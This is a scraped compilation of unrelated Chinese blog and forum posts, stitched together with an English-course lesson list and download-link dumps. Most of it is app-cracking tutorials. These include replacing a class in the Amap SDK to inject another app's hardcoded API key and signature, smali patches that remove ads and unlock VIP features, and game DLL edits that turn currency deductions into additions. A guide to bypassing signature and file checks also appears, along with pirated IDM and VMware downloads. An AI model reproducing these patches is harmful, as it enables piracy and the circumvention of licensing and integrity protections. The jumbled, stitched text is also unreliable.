  • 注意:这里 sha1AndPackage 中 SHA1 码与包名中间的冒号为中文冒号,高德真是费尽心机…

public IBinder onBind(Intent paramIntent) {        try {            String str1 = paramIntent.getStringExtra("apiKey");            String str2 = paramIntent.getStringExtra("packageName");            String str3 = paramIntent.getStringExtra("sha1AndPackage");            String str4 = paramIntent.getStringExtra("as");            Log.i("修改前数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4);            paramIntent.putExtra("apiKey", "93036c13932aba6eeaee2a02656f14d7");            paramIntent.putExtra("packageName", "com.lge.clock");            paramIntent.putExtra("sha1AndPackage", "FA:AB:F5:02:B2:17:AC:D3:DA:46:38:ED:FF:E3:0C:A3:E4:67:0A:50:com.lge.clock");            str1 = paramIntent.getStringExtra("apiKey");            str2 = paramIntent.getStringExtra("packageName");            str3 = paramIntent.getStringExtra("sha1AndPackage");            str4 = paramIntent.getStringExtra("as");            Log.i("修改后数据", "apiKey:" + str1 + "\npackageName:" + str2 + "\nsha1AndPackage:" + str3 + "\nas:" + str4);            return this.a.onBind(paramIntent);        } catch (Throwable localThrowable) {            c.a(localThrowable, "APSService", "onBind");        }        return null;    }

接下来只需要打包这个 Module 为 jar 包,然后提取出这个类的 class 文件,替换高德 SDK 的 jar 包中对应的 class 文件即可。
Android Studio 如何打包 jar 呢?
我们在这个修改的用来修改的 Module 的 build.gradle 中添加以下代码

task makeJar(type: Copy) {    delete 'build/libs/lib.jar'    from('build/intermediates/bundles/release/')    into('build/libs/')    include('classes.jar')    rename ('classes.jar', 'lib.jar')}makeJar.dependsOn(build)

在工程目录下执行

gradlew makeJar

即可得到 jar 文件
解压 lib.jar 和 高德 SDK 的 jar,使用 lib.jar 中的 APSService.class 替换高德 SDK 中的 APSService.class ,然后将这个文件夹重新压缩成 zip格式 ,然后修改扩展名为 .jar 即可。

测试

使用修改后的 SDK jar 包替换原来的 jar 包进行定位测试,不要忘了在 AndroidManifest.xml 也加上申请好的 key 。
测试结果为可以正常定位,包名和签名可以随意换咯,再也不用麻烦的每次申请 key 啦!

国际惯例

奉上源代码

https://github.com/YiuChoi/CrackAmap[size=0em]

TO:想了解安卓游戏修改的人(大神请路过),因为游戏是我自己玩所以不想修改太变态什么都无限,需要金币和钻石的时候购买一下。

首先说说去广告吧。

游戏是谷歌应用商店的游戏,带的广告为谷歌广告底部横条广告,所以这方法可以去除大部分谷歌游戏广告。

1.打开killer,搜索AndroidManifest.xml  搜索到--- const-string v4, "Missing internet permission in AndroidManifest.xml."

2.进入后下面的是执行广告的代码,我修改方法就是直接让代码结束,修改的部分是下面#部分

.method protected zzaV()Z
    .locals 6
 
    const/4 v1, 0x0                #const/4 v1, 0x0  那v1修改成v0
     
    return v0                          #这是我自己添加进去的,原本的没有,直接返回V0
     
    const/4 v0, 0x1
 
    invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
 
    move-result-object v2
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
 
    invoke-virtual {v3}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
 
    move-result-object v3
 
    iget-object v4, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v4, v4, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
 
    invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
 
    move-result-object v4
 
    const-string v5, "android.permission.INTERNET"
 
    invoke-virtual {v2, v3, v4, v5}, Lcom/google/android/gms/internal/zzir;->zza(Landroid/content/pm/PackageManager;Ljava/lang/String;Ljava/lang/String;)Z
 
    move-result v2
 
    if-nez v2, :cond_0
 
    invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
 
    move-result-object v0
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
 
    const-string v4, "Missing internet permission in AndroidManifest.xml."
 
    const-string v5, "Missing internet permission in AndroidManifest.xml. You must have the following declaration: <uses-permission android:name=\"android.permission.INTERNET\" />"
 
    invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
 
    move v0, v1
 
    :cond_0
    invoke-static {}, Lcom/google/android/gms/ads/internal/zzr;->zzbC()Lcom/google/android/gms/internal/zzir;
 
    move-result-object v2
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->context:Landroid/content/Context;
 
    invoke-virtual {v2, v3}, Lcom/google/android/gms/internal/zzir;->zzI(Landroid/content/Context;)Z
 
    move-result v2
 
    if-nez v2, :cond_1
 
    invoke-static {}, Lcom/google/android/gms/ads/internal/client/zzn;->zzcS()Lcom/google/android/gms/ads/internal/util/client/zza;
 
    move-result-object v0
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
 
    const-string v4, "Missing AdActivity with android:configChanges in AndroidManifest.xml."
 
    const-string v5, "Missing AdActivity with android:configChanges in AndroidManifest.xml. You must have the following declaration within the <application> element: <activity android:name=\"com.google.android.gms.ads.AdActivity\" android:configChanges=\"keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize\" />"
 
    invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
 
    move v0, v1
 
    :cond_1
    if-nez v0, :cond_2
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    if-eqz v2, :cond_2
 
    iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
 
    iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
 
    invoke-virtual {v2, v1}, Lcom/google/android/gms/ads/internal/zzs$zza;->setVisibility(I)V
 
    :cond_2
    return v0
.end method

接下来说下购买金币增加钻石的方法--修改DLL文件。

1.把游戏的DLL文件解压到另一个文件夹里面,路径:小仓鼠的生活.apk\assets\bin\Data\Managed

2.解压好友把所有的dll文件放入.net reflector软件  搜索(放大镜按钮)coin,搜索方式为search member(快捷键ctrl+m)

3.找到一个BuyCoin  CoinShop  ,修改这文件就可以达到了。

4.需要下载reflexil.1.9插件进行修改

public void BuyCoin(DiamondShop.DiamondInfo diamondInfo){    this.buySuccessWindow.text = LocalizationCustom.Get("638", LocalizationCustom.LocalizeType.Normal);    if (SaveData.instance.data.diamondPoint >= [url=]diamondInfo[/url].valueJP)          ------白话:当你身上的钻石大于等于购买商品的钻石时      {        SaveData.instance.data.diamondPoint -= [url=]diamondInfo[/url].valueJP;               身上的钻石-商品钻石价格        SaveData.instance.data.coinNum += [url=]diamondInfo[/url].num;                                 this.buySuccessWindow.openFlag = true;          BuyDiamondWindow.SendUserItemsData(1, 0, 0, [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum - [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum, [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint + [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint);        MainManager.instance.PlaySound(MainManager.SoundType.CashExchange);       下面就是扣除钻石了

我的方法就是删除判断达到即使你钻石不够也可以进行购买,但购买后你的钻石会是负数,因此我又修改下面代码。

把扣除钻石改成增加钻石。

修改完后替换原来的DLL文件,游戏重新签名就可以了

方法结束。

附镇文图两张:

[caption id="" align="alignnone" width="324"]小仓鼠安卓 小仓鼠安卓[/caption]

[caption id="" align="alignnone" width="324"]安卓游戏破解版小仓鼠 安卓游戏破解版小仓鼠[/caption]

昨天玩了一个安卓游戏,叫做《屌丝买房记》,大概就是类似于《北京浮生记》(暴露年龄)一样倒买倒卖的游戏
消磨时间,但是初始金币太少了,最贵的房子要3亿,得玩到什么时候。果断自己动手丰衣足食,咱们直接来修改初始金币。直接变身富二代买房记

准备工作:
游戏一份:链接:http://pan.baidu.com/s/1o8D8kUe 密码:cvo7

反编译工具一份:Androidkiller (论坛有链接,我这里就上传到网盘了,善用搜索)

正文:
打开游戏,我们可以看到,初始金币为3000

用AndroidKiller打开apk文件
点击入口.MaiFangJi跳转到smail


接着点击工具栏查看java源码

如下图

接着咱们CTRL+F搜索3000(初始金币数值)

会搜索出很多3000,都不是咱们要的,咱们一直点next,最后回来到这个地方

defaultcash是不是很眼熟?对,这里就是默认金币数值的位置。
接下来就简单啦,回到smail里面查找字符串-直接搜索3000

双击跳转到数值所在位置
咱们把3000修改为99999999,保存
回编译。

打开我们修改过的游戏,看一下默认金币是否变了

可以看到,金币已经变成了99999999了

至此初始金币修改完成,当然了,如果细心的同学可以看到,游戏里面有健康值,名声,这些数值都在3000附近,直接修改保存就行了。

PS:这个游戏有广告,咱们需要去除他的联网权限,好好的单机游戏要什么联网权限对不。

教程比较简单,没有涉及到IDA,当然了我也是弱鸡。望各位dalao手下留情

后记,关于是如何找到3000这个数值所在的位置,我也是找了好久的,最开始我认为作者会把数值改为十六进制,搜索0xbb8,出来了5个文件,一一修改 都不对,后面查看关键的.maifangji这个文件,通过观察java源码得知所有的关键数值都在里面,包括随机事件,房屋价格。这就帮我确定了初始金 币一定在这里面的想法,接着在java源码里面仔细查看找到了defaultcash这个数值,修改一下尝试,果然是对的。

修改的关键在于,善于分析,用排除法

就酱

作者:傲世V雄哥720

首发:吾爱破解论坛

/*
* 作者:傲世V雄哥720 
* QQ:737672679 
* (欢迎交流,若论坛想抹去我的Q号,请把帖子也删了,谢谢合作。)
* 写作时间:2016/10/2 20:25
* 
*/

很早就开始在搞安卓 apk 应用程序 VIP 权限破解、软件功能改变实现,游戏的短代等内购、
垃圾软件的去广告操作,也算是积累了一定的逆向经验,今天分享一些经验,也算是对以前的逆向经验的总结。

关于校验
从 2014 年起,安卓程序的篡改就从安卓市场上肆虐开来,去年开始,在国内安卓 apk
安全攻防趋于白热化,加固暂且不说,越来越多的自身校验开始呈现在破解者眼
前,综合考虑,我一般把程序校验分为三大类:
1.签名信息的检验。这种最为常见,可以说是开发者最起码的安全防范意识。由于开发者的
层次不同,签名校验的逻辑有写在 Java 层,也有写在 so 里的。比如,瓦力抢红包的签名校
验,包括获取签名信息的过程和判断逻辑都在 Java 层,在 Smali 代码中定位搜索的关键词
为:Landroid/content/pm/PackageInfo;->signatures:(搜索结果中选择在程序包名程序内的
结果)。

这种的 smali 中的破解不是障碍,怎么都行,可能是爆破,也可能是直接赋予正确的签名信
息。
如果签名信息的获取和判断都是在 so 里,就相对有些难度了,比如饥饿鲨·进化那款游戏,
签名信息的校验就是在 so 中,将 so 拖进 IDA,不懂的先看IDA权威指南,Shift+F12,在所有的 Strings 中查找 signatures字符:


查看知:thread fun+2E 则是 checkdex 的地方:

所以破解的手段可以是直接 nop 掉校验方法对 ExitGame 方法的调用。
还有一种混合层次写法:在 so 中获取签名信息返回到 Java 层进行判断,我不知道这有何意
义 。目前来看 ,由于很多程序获取签名信息的方式大抵都是
getPackageManager->getPackageName->getPackageInfo->signature 的
byte/charString/MD5/HASH,基于 Java 可继承的特点,基本都没啥难度,最重要的还是定
位 apk 的路径,自定义获取 RSA 的信息,这样破解者就难以捉摸了。
2.文件校验。文件校验的范围就比较大了,包含 classes.dex、AndroidManifest.xml、unity.dll、
so、apk 整体的校验等,按照一般的逻辑,要想对这些文件进行合法性的校验,首先要定位
到这些文件,需要用到的关键词有 sourceDir、getPackageCode、getPackResPath 等,比如
饥饿鲨进化游戏中对 classes.dex 文件校验时,就会通过 sourceDir 定位:

其实这个 sourceDir 也可以通过 Java 反射进行 set 固定,这样也可以实现不修改 so 进行路
径转向。
3.服务器校验签名或文件信息。所谓的服务器校验就是将需要检验的信息在本地获取后拿到
服务器上进行判断是否合法,比如本地获取运行签名信息或者 apk 整体 MD5,发送到服务
器进行判断。比较简单的情况是传入固定值,意思是因为一个 apk 签名、MD5 一定时固定
的,那向服务器发送固定值也是可以判断的,这种最简单,找准位置让它传正确的不就行了。
有一种比较难的是,有一个 native String vialSign(String Str)方法来获取要传送的校验值,
其中传入和传出都是变化的 ,深层次的来说就必须要了解 so 中的算法机制才能进行伪造,
或者可以测试下,当传入一个定值时,返回值是否也是固定,如此就可只固定传入值即可绕
过。

关于破解 VIP
VIP 功能在本地的就不用说了,实现会员Boolean判断为真,解除限制即可。例,麦格期刊smali:

const/4 v1 1    //判断v1的值是1 true
if-ne v1 v2 :label_9      //删除此跳转达到VIP功能
const-string v0 "supervip"       //超级会员
invoke-static {v0,v1} Lcom/magook/f/u;->b(Ljava/lang/String;Z)V
label_8:
return-void
label_9:
const-string v0 "supervip"
const/4 v1 0    //判断v1的值为0 false
//可以将 v1 0 改为v1 1
invoke-static {v0,v1} Lcom/magook/f/u;->b(Ljava/lang/String;Z)V
goto :label_8
const-string v0 "supervip"
const/4 v1 0
invoke-static {v0,v1} Lcom/magook/f/u;->a(Ljava/lang/String;Z)Ljava/lang/Boolean;
move-result-object v0
invoke-virtual {v0} Ljava/lang/Boolean;->booleanValue()Z //booleanValue的值为1或0
move-result v0  //将结果返回给 v0
const/4 v0 1    //此处将BooleanValue值修改为1,真。
return v0

VIP 功能在服务端的破解,无非就是两种途径:一是在用户请求时 VIP 资源已经自动下载到
了本地,只在本地进行限制,此时修改客户端接触本地限制即可;二是该应用服务器端存在
越权或者封包可伪造请求漏洞,可以越权访问或者伪造请求获取 VIP 资源,从而在本地展示。

关于去广告
去广告应该算是所有应用修改中最简单的,因为所有的广告之所以为广告不就是在本地进行
展示的吗,而本地的破解是比较简单的,无非就是一些布局文件 XML,是否显示 show(),哪
些组件不可见 gone/invisible,倒计时为 0、修改广告的请求地址,修改服务器返回的广告 url
获取关键词等等。

然后说一下去除升级,简单的两个途径:一修改版本 Versionnam 和 versionCode;二是根
本办法修改 update 的 URL,抓包找到URL,去除或者修改该链接。

本文结束。

课程目录:

课时1 成人入门直达中级6合1套餐简介试听
课时2 第1.1节 音标的概述 第1.2节 12个单元音音标的读法
课时3 音标 第1.3节 8个双元音音标的读法
课时4 音标 第1.4节 22个单辅音音标的读法
课时5 音标 第1.5节 6个双辅音音标的读法
课时6 音标 第1.6节 辅音连缀
课时7 音标 第1.7节 看音标划音节
课时8 音标 第1.8节 见音能读的训练
课时9 音标 第2.1节 字母与音标的关系
课时10 音标 第2.2节 6个元音字母单独发音规律
课时11 音标 第2.3节 20个单辅音字母的单独发音规律
课时12 音标 第2.4节 辅音字母组合的发音规律
课时13 音标 第2.5节 元音字母组合的发音规律
课时14 音标 第2.6节 看单词划音节
课时15 音标 第2.7节 重读的规律
课时16 音标 第2.8节 见词能读的训练
课时17 音标 第3.1节 12个单元音音标对应的字组
课时18 音标 第3.2节 8个双元音音标对应的字组
课时19 音标 第3.3节 22个单辅音音标对应的字组
课时20 音标 第3.4节 6个双辅音音标对应的字组
课时21 音标 第3.5节 听音能拼的训练
课时22 音标 第4.1节 连读现象
课时23 音标 第4.2节 加音现象
课时24 音标 第4.3节 重叠现象
课时25 音标 第4.4节 失爆现象
课时26 音标 第4.5节 同化现象
课时27 音标 第4.6节 英语语调
课时28 音标 第4.7节 美式发音与英式发音的主要差别
课时29 入门词汇第1节 家庭成员
课时30 入门词汇第2节 人的称呼
课时31 入门词汇第3节 人的职业
课时32 入门词汇第4节 公共场所
课时33 入门词汇第5节 数字名称
课时34 入门词汇第6节 人的身体
课时35 入门词汇第7节 动物植物
课时36 入门词汇第8节 颜色服饰
课时37 入门词汇第9节 房子结构
课时38 入门词汇第10节 家用电器
课时39 入门词汇第11节 自然地理
课时40 入门词汇第12节 世界各国
课时41 入门词汇第13节国家概况
课时42 入门词汇第14节 时间分类
课时43 入门词汇第15节 季节天气
课时44 入门词汇第16节 月份星期
课时45 入门词汇第17节 学校介绍
课时46 入门词汇第18节 学习用品
课时47 入门词汇第19节 教学活动
课时48 入门词汇第20节 日常饮食
课时49 入门词汇第21节 兴趣爱好
课时50 入门词汇第22节 交通工具
课时51 入门词汇第23节 运动健康
课时52 入门词汇第24节 人称代词
课时53 入门词汇第25节 物主代词
课时54 入门词汇第26 反身代词
课时55 入门词汇第27节 不定代词
课时56 入门词汇第28节 疑问代词
课时57 入门词汇第29节 人的外貌
课时58 入门词汇第30节 人的情感
课时59 入门词汇第31节 人的品性
课时60 入门词汇第32节 人的状态
课时61 入门词汇第33节 物的外形
课时62 入门词汇第34节 物的性质
课时63 入门词汇第35节 物的品性
课时64 入门词汇第36节 物的情感
课时65 入门词汇第37节 物的状态
课时66 入门词汇第38节 五官动作
课时67 入门词汇第39节 手的动作
课时68 入门词汇第40节 脚的动作
课时69 入门词汇第41节 脑的动作
课时70 入门词汇第42节 心理动词
课时71 入门词汇第43节 情态动词
课时72 入门词汇第44节 态度动词
课时73 入门词汇第45节 变化动词
课时74 入门词汇第46节 时间副词
课时75 入门词汇第47节 地点副词
课时76 入门词汇第48节 程度副词
课时77 入门词汇第49节 方式副词
课时78 入门词汇第50节 连接副词
课时79 入门词汇第51节 数词模块
课时80 入门词汇第52节 介词模块
课时81 入门词汇第53节 连词模块
课时82 入门词汇第54节 量词模块
课时83 入门语法第1讲 简单句的概述
课时84 入门语法第2讲 一般现在时与写作训练
课时85 入门语法第3讲 一般过去时与写作训练
课时86 入门语法第4讲 一般将来时与写作
课时87 入门语法第5讲 情态动词与写作
课时88 入门语法第6讲 there be句型与写作
课时89 入门语法第7讲 名词的复数与写作
课时90 入门语法第8讲 名词所有格与写作
课时91 入门语法第9讲 人称代词与写作
课时92 入门语法第10讲 物主代词与写作
课时93 入门语法第11讲 反身代词与写作
课时94 入门语法第12讲 指示代词与写作
课时95 入门语法第13讲 不定代词与写作
课时96 入门语法第14讲 基数词与写作
课时97 入门语法第15讲 序数词与写作
课时98 入门语法第16讲 形容词副词基本用语与写作
课时99 入门语法第17讲 形容词副词比较级与写作
课时100 入门语法第18讲 介词与写作
课时101 入门语法第19讲 冠词与写作
课时102 入门语法第20讲 不定式与写作
课时103 入门语法第21讲 动名词与写作
课时104 入门语法第22讲 复合句的概述
课时105 入门语法第23讲 并列句与写作
课时106 入门语法第24讲 宾语从句与写作
课时107 入门语法第25讲 定语从句与写作
课时108 入门语法第26讲 状语从句与写作
课时109 入门语法第27讲 段落的概述
课时110 入门语法第28讲 段落的写作
课时111 入门语法第29讲 段落的评价标准
课时112 入门语法第30讲 文章的概述
课时113 入门语法第31讲 文章的写作步骤
课时114 初级口语第1讲 问候用语
课时115 初级口语第2讲 介绍用语
课时116 初级口语第3讲 致谢用语
课时117 初级口语第4讲 道别用语
课时118 初级口语第5讲 赞美用语
课时119 初级口语第6讲 祝福用语
课时120 初级口语第7讲 邀请用语
课时121 初级口语第8讲 帮忙用语
课时122 初级口语第9节 赞同用语
课时123 初级口语第10节 建议用语
课时124 初级口语第11节 请求用语
课时125 初级口语第12讲 道歉用语
课时126 初级口语第13讲 预约用语
课时127 初级口语第14讲 时间用语
课时128 初级口语第15讲 天气用语
课时129 初级口语第16讲 电话用语
课时130 初级口语第17讲 购物用语
课时131 初级口语第18讲 餐厅用语
课时132 初级口语第19讲 住宿用语
课时133 初级口语第20讲 问路用语
课时134 初级口语第21讲 机场用语
课时135 初级口语 第22讲 海关用语
课时136 初级口语 第23讲 银行用语
课时137 初级口语 第24讲 邮政用语
课时138 初级口语 第25讲 医院用语
课时139 第26讲 求职面试用语
课时140 中级词汇 第1章 A打头词汇
课时141 中级词汇 第2章 B打头词汇
课时142 中级词汇 第3章 C打头词汇
课时143 中级词汇 第4章 D打头词汇
课时144 中级词汇 第5章 E打头词汇
课时145 中级词汇 第6章 F打头词汇
课时146 第7章 GH打头词汇
课时147 中级词汇 第8章 IJK打头词汇
课时148 中级词汇 第9章 LM打头词汇
课时149 中级词汇 第10章 NO打头词汇
课时150 中级词汇 第11章 PQ打头词汇
课时151 中级词汇 第12章 R打头词汇
课时152 第13章 S打头词汇
课时153 第14章 T打头词汇
课时154 中级词汇 第15章 UVW打头词汇
课时155 中级词汇 第16章 XYZ打头词汇
课时156 中级语法第1.0讲 课程简介试听
课时157 中级语法 第1.1讲 句子成分和简单句的概述
课时158 中级语法 第1.2讲 动词的一般现在时
课时159 中级语法 第1.3讲 动词的一般过去时
课时160 中级语法 第1.4讲 动词的一般将来时
课时161 中级语法 第1.5讲 动词的过去将来时
课时162 中级语法 第1.6讲 动词的现在完成时
课时163 中级语法第1.7讲 动词的过去完成时
课时164 中级语法 第1.8节 动词的现在进行时
课时165 中级语法第1.9讲 动词的过去进行时
课时166 中级语法 第1.10讲 动词之情态动词
课时167 中级语法 第1.11讲 动词的被动态
课时168 中级语法 第1.12讲 名词
课时169 中级语法第1.13讲 代词
课时170 中级语法第1.14讲 数词
课时171 中级语法第1.15讲 形容词和副词
课时172 中级语法第1.16讲 介词
课时173 中级语法第1.17讲 冠词
课时174 中级语法第1.18讲 非谓语动词之动名词
课时175 中级语法第1.19讲 非谓语动词之不定式
课时176 中级语法第1.20讲 there be句型
课时177 中级语法第2.1讲 复合句的概述
课时178 中级语法第2.2讲 并列句
课时179 中级语法第2.3讲 宾语从句
课时180 中级语法第2.4讲 定语从句
课时181 中级语法第2.5讲 状语从句
课时182 中级语法第3.1讲 句子的分类
课时183 中级语法第3.2讲 陈述句
课时184 中级语法第3.3讲 疑问句
课时185 第3.4讲 感叹句
课时186 中级语法第3.5讲 祈使句

Internet Download Manager (IDM) is a tool to increase download speeds by up to 5 times, resume and schedule downloads. Comprehensive error recovery and resume capability will restart broken or interrupted downloads due to lost connections, network problems, computer shutdowns, or unexpected power outages. Simple graphic user interface makes IDM user friendly and easy to use.Internet Download Manager has a smart download logic accelerator that features intelligent dynamic file segmentation and safe multipart downloading technology to accelerate your downloads. Unlike other download managers and accelerators Internet Download Manager segments downloaded files dynamically during download process and reuses available connections without additional connect and login stages to achieve best acceleration performance.

Internet Download Manager supports proxy servers, ftp and http protocols, firewalls, redirects, cookies, authorization, MP3 audio and MPEG video content processing. IDM integrates seamlessly into Microsoft Internet Explorer, Netscape, MSN Explorer, AOL, Opera, Mozilla, Mozilla Firefox, Mozilla Firebird, Avant Browser, MyIE2, and all other popular browsers to automatically handle your downloads. You can also drag and drop files, or use Internet Download Manager from command line. Internet Download Manager can dial your modem at the set time, download the files you want, then hang up or even shut down your computer when it's done.

Other features include multilingual support, zip preview, download categories, scheduler pro, sounds on different events, HTTPS support, queue processor, html help and tutorial, enhanced virus protection on download completion, progressive downloading with quotas (useful for connections that use some kind of fair access policy or FAP like Direcway, Direct PC, Hughes, etc.), built-in download accelerator, and many others.

Version 6.25 adds Windows 10 compatibility, adds IDM download panel for web-players that can be used to download flash videos from sites like MySpaceTV, and others. It also features complete Windows 8.1 (Windows 8, Windows 7 and Vista) support, video page grabber, redeveloped scheduler, and MMS protocol support. The new version also adds improved integration for IE 11 and IE based browsers, redesigned and enhanced download engine, the unique advanced integration into all latest browsers, improved toolbar, and a wealth of other improvements and new features.


Original Setup + Patch Link, here:
Password to Unpack:Sound
Download:  

前几天要准备考计算机三级,各种网上找文档资料,感觉都不全。手机里有**教育的软件,想起当时安装时是下载库的,所以从安装包里提取了库的下载网址。。。。。(不想啰嗦过程
下面直接看提取转换过程
1.    选择需要的,复制地址到浏览器地址栏,下载对应的库。
"fileNiname": "计算机一级MSOffice",
              "url":"http://www.weilaijiaoyu.cn/cpt1/One/OneLevelMSOffice.zip",
                "fileNiname": "二级ms office高级应用",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Two/TwoLevelMSOfficeAnvance.zip",
                "fileNiname": "二级ACCESS",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Two/TwoLevelACCESS.zip",
                "fileNiname": "二级C语言",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Two/TwoLevelC.zip",
                "fileNiname": "二级VB程序设计",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Two/TwoLevelVB.zip",
                "fileNiname": "二级VF程序设计",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Two/TwoLevelVF.zip",
                "fileNiname": "三级数据库技术",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Three/ThreeLevelDataBase.zip",
                "fileNiname": "三级网络技术",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Three/ThreeLevelNet.zip",
                "fileNiname": "三级信息安全",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Three/ThreeLevelInfoSafety.zip",
                "fileNiname": "三级嵌入式",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Three/ThreeLevelEmbedSysDev.zip",
                "fileNiname": "四级网络工程师",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Four/FourLevelNet.zip",
                "fileNiname": "四级数据库工程师",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Four/FourLevelDataBase.zip",
                "fileNiname": "四级软件测试工程师",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Four/FourLevelSoftTest.zip",
                "fileNiname": "四级信息安全工程师",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Four/FourLevelInfoSafety.zip",
                "fileNiname": "四级嵌入式系统开发工程师",
              "url":"http://www.weilaijiaoyu.cn/cpt1/Four/FourLevelEmbedSysDev.zip",
然后解压缩,其中的”xxxx.db“为所需要的
    2.      然后下载Navicat Premium(绿色版链接:http://pan.baidu.com/s/1pLbCfxD 密码:2jrp)
    3.     打开你安装的这个软件 点击”链接“选项 选择SQLite 下面类型选择的是打开现有的数据库文件 最后数据库文件中你要找到那个.db文件 最后需要你点击链接测试
    4.    效果图

 

选择题

 

填空

 

问答
我所选择题库的问答题有图,不好显示(或许是我不会,手里有问答题的文档资料,就没尝试搞它)

 

最后就是把它转换成文档,看图
然后一直下一步
Loading......
这是稍微排版过的填空题

 

 

VMware 12.5 Pro 绿色版,所有Tools更新到最新版
VMware Workstation 最新版是12.5.0,支持安装苹果系统,,,安装完成后就是专业版,,无需找注册码
图片就不上传了
下载地址:https://yunpan.cn/ckCjDL7uxqBvV d129

计算机专业英语词汇01.flv
http://player.youku.com/player.php/sid/XNTA2NTM2NTU2/v.swf
计算机专业英语词汇02.flv
http://player.youku.com/player.php/sid/XNTA2NTQxMjQ0/v.swf
计算机专业英语词汇03.flv
http://player.youku.com/player.php/sid/XNTA2NTQxMjc2/v.swf
计算机专业英语词汇04.flv
http://player.youku.com/player.php/sid/XNTA2NTQyNTc2/v.swf
计算机专业英语词汇05.flv
http://player.youku.com/player.php/sid/XNTA2NTQ4MTYw/v.swf
计算机专业英语词汇06.flv
http://player.youku.com/player.php/sid/XNTA2NTQ5Mjky/v.swf
计算机专业英语词汇07.flv
http://player.youku.com/player.php/sid/XNTA2NTQ5MTY0/v.swf
计算机专业英语08.flv
http://player.youku.com/player.php/sid/XNTA2NTk3NTE2/v.swf
计算机专业英语09.flv
http://player.youku.com/player.php/sid/XNTA2NjAwMzcy/v.swf
计算机专业英语10.flv
http://player.youku.com/player.php/sid/XNTA2NTk4NzA4/v.swf
计算机专业英语11.flv
http://player.youku.com/player.php/sid/XNTA2NjA2NjQw/v.swf
计算机专业英语12.flv
http://player.youku.com/player.php/sid/XNTA2NjA2NTg4/v.swf
计算机专业英语13.flv
http://player.youku.com/player.php/sid/XNTA2NjA3MjY0/v.swf
计算机专业英语14.flv
http://player.youku.com/player.php/sid/XNTA2NjEzMTI0/v.swf
计算机专业英语15.flv
http://player.youku.com/player.php/sid/XNTA2NjExOTA0/v.swf
计算机专业英语16.flv
http://player.youku.com/player.php/sid/XNTA2NjEyNTI4/v.swf
计算机专业英语17.flv
http://player.youku.com/player.php/sid/XNTA2NjE4NjA0/v.swf
计算机专业英语18.flv
http://player.youku.com/player.php/sid/XNTA2NjE4NjA0/v.swf
计算机专业英语19.flv
http://player.youku.com/player.php/sid/XNTA2NjIxNDA4/v.swf
计算机专业英语20.flv
http://player.youku.com/player.php/sid/XNTA2NjIyMjM2/v.swf
计算机专业英语21.flv
http://player.youku.com/player.php/sid/XNTA2NjQ0ODg0/v.swf
计算机专业英语22.flv
http://player.youku.com/player.php/sid/XNTA2NjM5MjQ4/v.swf
